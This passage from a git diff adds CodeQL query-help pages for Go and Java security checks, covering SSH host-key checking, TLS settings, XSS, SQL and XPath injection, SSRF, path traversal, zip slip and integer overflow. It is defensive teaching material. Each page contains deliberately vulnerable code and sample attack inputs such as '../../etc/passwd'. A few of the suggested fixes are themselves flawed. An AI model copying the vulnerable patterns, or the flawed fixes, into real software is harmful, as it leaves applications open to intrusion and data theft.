`HostKeyCallback` that must be initialized with a function that validates the host key returned by the server. + +Not properly verifying the host key returned by a server provides attackers with an opportunity to perform a Machine-in-the-Middle (MitM) attack. A successful attack can compromise the confidentiality and integrity of the information communicated with the server. + +The `ssh` package provides the predefined callback `InsecureIgnoreHostKey` that can be used during development and testing. It accepts any provided host key. This callback, or a semantically similar callback, should not be used in production code. + + +## Recommendation +The `HostKeyCallback` field of `ClientConfig` should be initialized with a function that validates a host key against an allow list. If a key is not on a predefined allow list, the connection must be terminated and the failed security operation should be logged. + +When the allow list contains only a single host key then the function `FixedHostKey` can be used. + + +## Example +The following example shows the use of `InsecureIgnoreHostKey` and an insecure host key callback implemention commonly used in non-production code. + + +```go +package main + +import ( + "golang.org/x/crypto/ssh" + "net" +) + +func main() {} + +func insecureIgnoreHostKey() { + _ = &ssh.ClientConfig{ + User: "username", + Auth: []ssh.AuthMethod{nil}, + HostKeyCallback: ssh.InsecureIgnoreHostKey(), + } +} + +func insecureHostKeyCallback() { + _ = &ssh.ClientConfig{ + User: "username", + Auth: []ssh.AuthMethod{nil}, + HostKeyCallback: ssh.HostKeyCallback( + func(hostname string, remote net.Addr, key ssh.PublicKey) error { + return nil + }), + } +} + +``` +The next example shows a secure implementation using the `FixedHostKey` that implements an allow-list. + + +```go +package main + +import ( + "golang.org/x/crypto/ssh" + "io/ioutil" +) + +func main() {} + +func secureHostKeyCallback() { + publicKeyBytes, _ := ioutil.ReadFile("allowed_hostkey.pub") + publicKey, _ := ssh.ParsePublicKey(publicKeyBytes) + + _ = &ssh.ClientConfig{ + User: "username", + Auth: []ssh.AuthMethod{nil}, + HostKeyCallback: ssh.FixedHostKey(publicKey), + } +} + +``` + +## References +* Go Dev: [package ssh](https://pkg.go.dev/golang.org/x/crypto/ssh?tab=doc). \ No newline at end of file diff --git a/docs/language/query-help/go/InsecureTLS.md b/docs/language/query-help/go/InsecureTLS.md new file mode 100644 index 00000000000..fc494c46611 --- /dev/null +++ b/docs/language/query-help/go/InsecureTLS.md @@ -0,0 +1,84 @@ +# Insecure TLS configuration + +``` +ID: go/insecure-tls +Kind: path-problem +Severity: warning +Precision: very-high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-327/InsecureTLS.ql) + +The TLS (Transport Layer Security) protocol secures communications over the Internet. The protocol allows client/server applications to communicate in a way that is designed to prevent eavesdropping, tampering, or message forgery. + +The current latest version is 1.3 (with the 1.2 version still being considered secure). Older versions are not deemed to be secure anymore because of various security vulnerabilities, and tht makes them unfit for use in securing your applications. + +Unfortunately, many applications and websites still support deprecated SSL/TLS versions and cipher suites. + + +## Recommendation +Only use secure TLS versions (1.3 and 1.2) and avoid using insecure cipher suites (you can see a list here: https://golang.org/src/crypto/tls/cipher_suites.go#L81) + + +## Example +The following example shows a few ways how an insecure TLS configuration can be created: + + +```go +package main + +import ( + "crypto/tls" +) + +func main() {} + +func insecureMinMaxTlsVersion() { + { + config := &tls.Config{} + config.MinVersion = 0 // BAD: Setting the MinVersion to 0 equals to choosing the lowest supported version (i.e. SSL3.0) + } + { + config := &tls.Config{} + config.MinVersion = tls.VersionSSL30 // BAD: SSL 3.0 is a non-secure version of the protocol; it's not safe to use it as MinVersion. + } + { + config := &tls.Config{} + config.MaxVersion = tls.VersionSSL30 // BAD: SSL 3.0 is a non-secure version of the protocol; it's not safe to use it as MaxVersion. + } +} + +func insecureCipherSuites() { + config := &tls.Config{ + CipherSuites: []uint16{ + tls.TLS_RSA_WITH_RC4_128_SHA, // BAD: TLS_RSA_WITH_RC4_128_SHA is one of the non-secure cipher suites; it's not safe to be used. + }, + } + _ = config +} + +``` +The following example shows how to create a safer TLS configuration: + + +```go +package main + +import "crypto/tls" + +func saferTLSConfig() { + config := &tls.Config{} + config.MinVersion = tls.VersionTLS12 + config.MaxVersion = tls.VersionTLS13 + // OR + config.MaxVersion = 0 // GOOD: Setting MaxVersion to 0 means that the highest version available in the package will be used. +} + +``` + +## References +* Wikipedia: [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) +* Mozilla: [Security/Server Side TLS](https://wiki.mozilla.org/Security/Server_Side_TLS) +* OWASP: [Transport Layer Protection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html) +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/go/MissingRegexpAnchor.md b/docs/language/query-help/go/MissingRegexpAnchor.md new file mode 100644 index 00000000000..6a538e4c191 --- /dev/null +++ b/docs/language/query-help/go/MissingRegexpAnchor.md @@ -0,0 +1,75 @@ +# Missing regular expression anchor + +``` +ID: go/regex/missing-regexp-anchor +Kind: problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-020/MissingRegexpAnchor.ql) + +Sanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location. + +Even if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches. + + +## Recommendation +Use anchors to ensure that regular expressions match at the expected locations. + + +## Example +The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site. + + +```go +package main + +import ( + "errors" + "net/http" + "regexp" +) + +func checkRedirect2(req *http.Request, via []*http.Request) error { + // BAD: the host of `req.URL` may be controlled by an attacker + re := "https?://www\\.example\\.com/" + if matched, _ := regexp.MatchString(re, req.URL.String()); matched { + return nil + } + return errors.New("Invalid redirect") +} + +``` +The check with the regular expression match is, however, easy to bypass. For example, the string `http://example.com/` can be embedded in the query string component: `http://evil-example.net/?x=http://example.com/`. + +Address these shortcomings by using anchors in the regular expression instead: + + +```go +package main + +import ( + "errors" + "net/http" + "regexp" +) + +func checkRedirect2Good(req *http.Request, via []*http.Request) error { + // GOOD: the host of `req.URL` cannot be controlled by an attacker + re := "^https?://www\\.example\\.com/" + if matched, _ := regexp.MatchString(re, req.URL.String()); matched { + return nil + } + return errors.New("Invalid redirect") +} + +``` +A related mistake is to write a regular expression with multiple alternatives, but to only anchor one of the alternatives. As an example, the regular expression `^www\.example\.com|beta\.example\.com` will match the host `evil.beta.example.com` because the regular expression is parsed as `(^www\.example\.com)|(beta\.example\.com)/`, so the second alternative `beta\.example\.com` is not anchored at the beginning of the string. + + +## References +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* OWASP: [Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/go/OpenUrlRedirect.md b/docs/language/query-help/go/OpenUrlRedirect.md new file mode 100644 index 00000000000..1a17e26b449 --- /dev/null +++ b/docs/language/query-help/go/OpenUrlRedirect.md @@ -0,0 +1,71 @@ +# Open URL redirect + +``` +ID: go/unvalidated-url-redirection +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-601 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-601/OpenUrlRedirect.ql) + +Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but is controlled by the attacker. + + +## Recommendation +To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. + + +## Example +The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks: + + +```go +package main + +import ( + "net/http" +) + +func serve() { + http.HandleFunc("/redir", func(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + http.Redirect(w, r, r.Form.Get("target"), 302) + }) +} + +``` +One way to remedy the problem is to validate the user input against a known fixed string before doing the redirection: + + +```go +package main + +import ( + "net/http" + "net/url" +) + +func serve() { + http.HandleFunc("/redir", func(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + target, err := url.Parse(r.Form.Get("target")) + if err != nil { + // ... + } + + if target.Hostname() == "semmle.com" { + // GOOD: checking hostname + http.Redirect(w, r, target.String(), 302) + } else { + http.WriteHeader(400) + } + }) +} + +``` + +## References +* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/go/ReflectedXss.md b/docs/language/query-help/go/ReflectedXss.md new file mode 100644 index 00000000000..fde1daa8ebf --- /dev/null +++ b/docs/language/query-help/go/ReflectedXss.md @@ -0,0 +1,82 @@ +# Reflected cross-site scripting + +``` +ID: go/reflected-xss +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-079/ReflectedXss.ql) + +Directly writing user input (for example, an HTTP request parameter) to an HTTP response without properly sanitizing the input first, allows for a cross-site scripting vulnerability. + +This kind of vulnerability is also called *reflected* cross-site scripting, to distinguish it from other types of cross-site scripting. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the response, or one of the other solutions that are mentioned in the references. + + +## Example +The following example code writes part of an HTTP request (which is controlled by the user) directly to the response. This leaves the website vulnerable to cross-site scripting. + + +```go +package main + +import ( + "fmt" + "net/http" +) + +func serve() { + http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + if !isValidUsername(username) { + // BAD: a request parameter is incorporated without validation into the response + fmt.Fprintf(w, "%q is an unknown user", username) + } else { + // TODO: do something exciting + } + }) + http.ListenAndServe(":80", nil) +} + +``` +Sanitizing the user-controlled data prevents the vulnerability: + + +```go +package main + +import ( + "fmt" + "html" + "net/http" +) + +func serve1() { + http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + if !isValidUsername(username) { + // GOOD: a request parameter is escaped before being put into the response + fmt.Fprintf(w, "%q is an unknown user", html.EscapeString(username)) + } else { + // TODO: do something exciting + } + }) + http.ListenAndServe(":80", nil) +} + +``` + +## References +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/go/RequestForgery.md b/docs/language/query-help/go/RequestForgery.md new file mode 100644 index 00000000000..d34cf6e79e5 --- /dev/null +++ b/docs/language/query-help/go/RequestForgery.md @@ -0,0 +1,81 @@ +# Uncontrolled data used in network request + +``` +ID: go/request-forgery +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-918 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-918/RequestForgery.ql) + +Directly incorporating user input into an HTTP request without validating the input can facilitate different kinds of request forgery attacks, where the attacker essentially controls the request. If the vulnerable request is in server-side code, then security mechanisms, such as external firewalls, can be bypassed. If the vulnerable request is in client-side code, then unsuspecting users can send malicious requests to other servers, potentially resulting in a DDOS attack. + + +## Recommendation +To guard against request forgery, it is advisable to avoid putting user input directly into a network request. If a flexible network request mechanism is required, it is recommended to maintain a list of authorized request targets and choose from that list based on the user input provided. + + +## Example +The following example shows an HTTP request parameter being used directly in a URL request without validating the input, which facilitates an SSRF attack. The request `http.Get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `"internal.example.com/#"` as the target, causing the URL used in the request to be `"https://internal.example.com/#.example.com/data"`. + +A request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine. + + +```go +package main + +import ( + "net/http" +) + +func handler(w http.ResponseWriter, req *http.Request) { + target := req.FormValue("target") + + // BAD: `target` is controlled by the attacker + resp, err := http.Get("https://" + target + ".example.com/data/") + if err != nil { + // error handling + } + + // process request response + use(resp) +} + +``` +One way to remedy the problem is to use the user input to select a known fixed string before performing the request: + + +```go +package main + +import ( + "net/http" +) + +func handler1(w http.ResponseWriter, req *http.Request) { + target := req.FormValue("target") + + var subdomain string + if target == "EU" { + subdomain = "europe" + } else { + subdomain = "world" + } + + // GOOD: `subdomain` is controlled by the server + resp, err := http.Get("https://" + subdomain + ".example.com/data/") + if err != nil { + // error handling + } + + // process request response + use(resp) +} + +``` + +## References +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html). \ No newline at end of file diff --git a/docs/language/query-help/go/SqlInjection.md b/docs/language/query-help/go/SqlInjection.md new file mode 100644 index 00000000000..e0be1ef9554 --- /dev/null +++ b/docs/language/query-help/go/SqlInjection.md @@ -0,0 +1,62 @@ +# Database query built from user-controlled sources + +``` +ID: go/sql-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-089 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-089/SqlInjection.ql) + +If a database query (such as an SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run commands that exfiltrate, tamper with, or destroy data stored in the database. + + +## Recommendation +Most database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements. Use these features rather than building queries by string concatenation. + + +## Example +In the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object: + + +```go +package main + +import ( + "database/sql" + "fmt" + "net/http" +) + +func handler(db *sql.DB, req *http.Request) { + q := fmt.Sprintf("SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='%s' ORDER BY PRICE", + req.URL.Query()["category"]) + db.Query(q) +} + +``` +The handler constructs an SQL query involving user input taken from the request object unsafely using `fmt.Sprintf` to embed a request parameter directly into the query string `q`. The parameter may include quote characters, allowing a malicious user to terminate the string literal into which the parameter is embedded and add arbitrary SQL code after it. + +Instead, the untrusted query parameter should be safely embedded using placeholder parameters: + + +```go +package main + +import ( + "database/sql" + "net/http" +) + +func handlerGood(db *sql.DB, req *http.Request) { + q := "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='?' ORDER BY PRICE" + db.Query(q, req.URL.Query()["category"]) +} + +``` + +## References +* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/go/StringBreak.md b/docs/language/query-help/go/StringBreak.md new file mode 100644 index 00000000000..9e8b96ddd49 --- /dev/null +++ b/docs/language/query-help/go/StringBreak.md @@ -0,0 +1,72 @@ +# Potentially unsafe quoting + +``` +ID: go/unsafe-quoting +Kind: path-problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-089 external/cwe/cwe-094 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-089/StringBreak.ql) + +Code that constructs a string containing a quoted substring needs to ensure that any user-provided data embedded in between the quotes does not itself contain a quote. Otherwise the embedded data could (accidentally or intentionally) change the structure of the overall string by terminating the quoted substring early, with potentially severe consequences. If, for example, the string is later interpreted as an operating-system command or database query, a malicious attacker may be able to craft input data that enables a command injection or SQL injection attack. + + +## Recommendation +Sanitize the embedded data appropriately to ensure quotes are escaped, or use an API that does not rely on manually constructing quoted substrings. + + +## Example +In the following example, assume that `version` is an object from an untrusted source. The code snippet first uses `json.Marshal` to serialize this object into a string, and then embeds it into a SQL query built using the Squirrel library. + + +```go +package main + +import ( + "encoding/json" + "fmt" + sq "github.com/Masterminds/squirrel" +) + +func save(id string, version interface{}) { + versionJSON, _ := json.Marshal(version) + sq.StatementBuilder. + Insert("resources"). + Columns("resource_id", "version_md5"). + Values(id, sq.Expr(fmt.Sprintf("md5('%s')", versionJSON))). + Exec() +} + +``` +Note that while Squirrel provides a structured API for building SQL queries that mitigates against common causes of SQL injection vulnerabilities, this code is still vulnerable: if the JSON-encoded representation of `version` contains a single quote, this will prematurely close the surrounding string, changing the structure of the SQL expression being constructed. This could be exploited to mount a SQL injection attack. + +To fix this vulnerability, use Squirrel's placeholder syntax, which avoids the need to explicitly construct a quoted string. + + +```go +package main + +import ( + "encoding/json" + sq "github.com/Masterminds/squirrel" +) + +func saveGood(id string, version interface{}) { + versionJSON, _ := json.Marshal(version) + sq.StatementBuilder. + Insert("resources"). + Columns("resource_id", "version_md5"). + Values(id, sq.Expr("md5(?)", versionJSON)). + Exec() +} + +``` + +## References +* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection). +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). +* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). \ No newline at end of file diff --git a/docs/language/query-help/go/TaintedPath.md b/docs/language/query-help/go/TaintedPath.md new file mode 100644 index 00000000000..a7a7a3f49ab --- /dev/null +++ b/docs/language/query-help/go/TaintedPath.md @@ -0,0 +1,61 @@ +# Uncontrolled data used in path expression + +``` +ID: go/path-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 external/cwe/cwe-099 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-022/TaintedPath.ql) + +Accessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + + +## Recommendation +Validate user input before using it to construct a file path, either using an off-the-shelf library or by performing custom validation. + +Ideally, follow these rules: + +* Do not allow more than a single "." character. +* Do not allow directory separators such as "/" or "\" (depending on the file system). +* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//", the resulting string would still be "../". +* Use an allowlist of known good patterns. + +## Example +In the first example, a file name is read from an HTTP request and then used to access a file. However, a malicious user could enter a file name which is an absolute path, such as "/etc/passwd". + +In the second example, it appears that the user is restricted to opening a file within the `"user"` home directory. However, a malicious user could enter a file name containing special characters. For example, the string `"../../etc/passwd"` will result in the code reading the file located at "/home/user/../../etc/passwd", which is the system's password file. This file would then be sent back to the user, giving them access to password information. + + +```go +package main + +import ( + "io/ioutil" + "net/http" + "path/filepath" +) + +func handler(w http.ResponseWriter, r *http.Request) { + path := r.URL.Query()["path"][0] + + // BAD: This could read any file on the file system + data, _ := ioutil.ReadFile(path) + w.Write(data) + + // BAD: This could still read any file on the file system + data, _ = ioutil.ReadFile(filepath.Join("/home/user/", path)) + w.Write(data) +} + +``` + +## References +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). +* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). +* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). +* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). +* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/go/XPathInjection.md b/docs/language/query-help/go/XPathInjection.md new file mode 100644 index 00000000000..f64af2edb78 --- /dev/null +++ b/docs/language/query-help/go/XPathInjection.md @@ -0,0 +1,65 @@ +# XPath injection + +``` +ID: go/xml/xpath-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-643 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-643/XPathInjection.ql) + +If an XPath expression is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to create a malicious XPath expression. + + +## Recommendation +If user input must be included in an XPath expression, pre-compile the query and use variable references to include the user input. + +For example, when using the `github.com/ChrisTrenkamp/goxpath` API, you can do this by creating a function that takes an `*goxpath.Opts` structure. In this structure you can then set the values of the variable references. This function can then be specified when calling `Exec()`, `Exec{Bool|Num|Node}()`, `ParseExec()`, or `MustExec()`. + + +## Example +In the first example, the code accepts a username specified by the user, and uses this unvalidated and unsanitized value in an XPath expression. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values. + +In the second example, the XPath expression is a hard-coded string that specifies some variables, which are safely resolved at runtime using the `goxpath.Opts` structure. + + +```go +package main + +import ( + "fmt" + "net/http" + + "github.com/ChrisTrenkamp/goxpath" + "github.com/ChrisTrenkamp/goxpath/tree" +) + +func main() {} + +func processRequest(r *http.Request, doc tree.Node) { + r.ParseForm() + username := r.Form.Get("username") + + // BAD: User input used directly in an XPath expression + xPath := goxpath.MustParse("//users/user[login/text()='" + username + "']/home_dir/text()") + unsafeRes, _ := xPath.ExecBool(doc) + fmt.Println(unsafeRes) + + // GOOD: Value of parameters is defined here instead of directly in the query + opt := func(o *goxpath.Opts) { + o.Vars["username"] = tree.String(username) + } + // GOOD: Uses parameters to avoid including user input directly in XPath expression + xPath = goxpath.MustParse("//users/user[login/text()=$username]/home_dir/text()") + safeRes, _ := xPath.ExecBool(doc, opt) + fmt.Println(safeRes) +} + +``` + +## References +* OWASP: [Testing for XPath Injection](https://www.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)). +* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection). +* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html). \ No newline at end of file diff --git a/docs/language/query-help/go/ZipSlip.md b/docs/language/query-help/go/ZipSlip.md new file mode 100644 index 00000000000..fbd32b47b0d --- /dev/null +++ b/docs/language/query-help/go/ZipSlip.md @@ -0,0 +1,78 @@ +# Arbitrary file write during zip extraction ("zip slip") + +``` +ID: go/zipslip +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-022 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-022/ZipSlip.ql) + +Extracting files from a malicious zip archive without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. + +Zip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine which output file the contents of an archive item should be written to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + +For example, if a zip file contains a file entry `..\sneaky-file`, and the zip file is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. + + +## Recommendation +Ensure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations. + +The recommended way of writing an output file from a zip archive entry is to check that "`..`" does not occur in the path. + + +## Example +In this example an archive is extracted without validating file paths. If `archive.zip` contained relative paths (for instance, if it were created by something like `zip archive.zip ../file.txt`) then executing this code could write to locations outside the destination directory. + + +```go +package main + +import ( + "archive/zip" + "io/ioutil" + "path/filepath" +) + +func unzip(f string) { + r, _ := zip.OpenReader(f) + for _, f := range r.File { + p, _ := filepath.Abs(f.Name) + // BAD: This could overwrite any file on the file system + ioutil.WriteFile(p, []byte("present"), 0666) + } +} + +``` +To fix this vulnerability, we need to check that the path does not contain any "`..`" elements in it. + + +```go +package main + +import ( + "archive/zip" + "io/ioutil" + "path/filepath" + "strings" +) + +func unzipGood(f string) { + r, _ := zip.OpenReader(f) + for _, f := range r.File { + p, _ := filepath.Abs(f.Name) + // GOOD: Check that path does not contain ".." before using it + if !strings.Contains(p, "..") { + ioutil.WriteFile(p, []byte("present"), 0666) + } + } +} + +``` + +## References +* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/index.rst b/docs/language/query-help/index.rst new file mode 100644 index 00000000000..f5aa7874888 --- /dev/null +++ b/docs/language/query-help/index.rst @@ -0,0 +1,19 @@ +CodeQL query help +----------------- + +.. toctree:: + :titlesonly: + + cpp + csharp + go + java + javascript + python + +Code scanning query lists +========================= + +.. toctree:: + + query-list \ No newline at end of file diff --git a/docs/language/query-help/java.rst b/docs/language/query-help/java.rst new file mode 100644 index 00000000000..2aaa2a20f23 --- /dev/null +++ b/docs/language/query-help/java.rst @@ -0,0 +1,4 @@ +Java query help +=============== + +.. include:: toc-java.rst \ No newline at end of file diff --git a/docs/language/query-help/java/ArithmeticTainted.md b/docs/language/query-help/java/ArithmeticTainted.md new file mode 100644 index 00000000000..9684ae02052 --- /dev/null +++ b/docs/language/query-help/java/ArithmeticTainted.md @@ -0,0 +1,64 @@ +# User-controlled data in arithmetic expression + +``` +ID: java/tainted-arithmetic +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-190 external/cwe/cwe-191 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-190/ArithmeticTainted.ql) + +Performing calculations on user-controlled data can result in integer overflows unless the input is validated. + +If the user is free to enter very large numbers, even arithmetic operations that would usually result in a small change in magnitude may result in overflows. + + +## Recommendation +Always guard against overflow in arithmetic operations on user-controlled data by doing one of the following: + +* Validate the user input. +* Define a guard on the arithmetic expression, so that the operation is performed only if the result can be known to be less than, or equal to, the maximum value for the type, for example `MAX_VALUE`. +* Use a wider type, so that larger input values do not cause overflow. + +## Example +In this example, a value is read from standard input into an `int`. Because the value is a user-controlled value, it could be extremely large. Performing arithmetic operations on this value could therefore cause an overflow. To avoid this happening, the example shows how to perform a check before performing a multiplication. + + +```java +class Test { + public static void main(String[] args) { + { + int data; + + BufferedReader readerBuffered = new BufferedReader( + new InputStreamReader(System.in, "UTF-8")); + String stringNumber = readerBuffered.readLine(); + if (stringNumber != null) { + data = Integer.parseInt(stringNumber.trim()); + } else { + data = 0; + } + + // BAD: may overflow if input data is very large, for example + // 'Integer.MAX_VALUE' + int scaled = data * 10; + + //... + + // GOOD: use a guard to ensure no overflows occur + int scaled2; + if (data < Integer.MAX_VALUE / 10) + scaled2 = data * 10; + else + scaled2 = Integer.MAX_VALUE; + } + } +} +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-191](https://cwe.mitre.org/data/definitions/191.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ArithmeticUncontrolled.md b/docs/language/query-help/java/ArithmeticUncontrolled.md new file mode 100644 index 00000000000..dfb464b1fe4 --- /dev/null +++ b/docs/language/query-help/java/ArithmeticUncontrolled.md @@ -0,0 +1,54 @@ +# Uncontrolled data in arithmetic expression + +``` +ID: java/uncontrolled-arithmetic +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-190 external/cwe/cwe-191 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-190/ArithmeticUncontrolled.ql) + +Performing calculations on uncontrolled data can result in integer overflows unless the input is validated. + +If the data is not under your control, and can take extremely large values, even arithmetic operations that would usually result in a small change in magnitude may result in overflows. + + +## Recommendation +Always guard against overflow in arithmetic operations on uncontrolled data by doing one of the following: + +* Validate the data. +* Define a guard on the arithmetic expression, so that the operation is performed only if the result can be known to be less than, or equal to, the maximum value for the type, for example `MAX_VALUE`. +* Use a wider type, so that larger input values do not cause overflow. + +## Example +In this example, a random integer is generated. Because the value is not controlled by the programmer, it could be extremely large. Performing arithmetic operations on this value could therefore cause an overflow. To avoid this happening, the example shows how to perform a check before performing a multiplication. + + +```java +class Test { + public static void main(String[] args) { + { + int data = (new java.security.SecureRandom()).nextInt(); + + // BAD: may overflow if data is large + int scaled = data * 10; + + // ... + + // GOOD: use a guard to ensure no overflows occur + int scaled2; + if (data < Integer.MAX_VALUE/10) + scaled2 = data * 10; + else + scaled2 = Integer.MAX_VALUE; + } + } +} +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [NUM00-J. Detect or prevent integer overflow](https://www.securecoding.cert.org/confluence/display/java/NUM00-J.+Detect+or+prevent+integer+overflow). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-191](https://cwe.mitre.org/data/definitions/191.html). \ No newline at end of file diff --git a/docs/language/query-help/java/BrokenCryptoAlgorithm.md 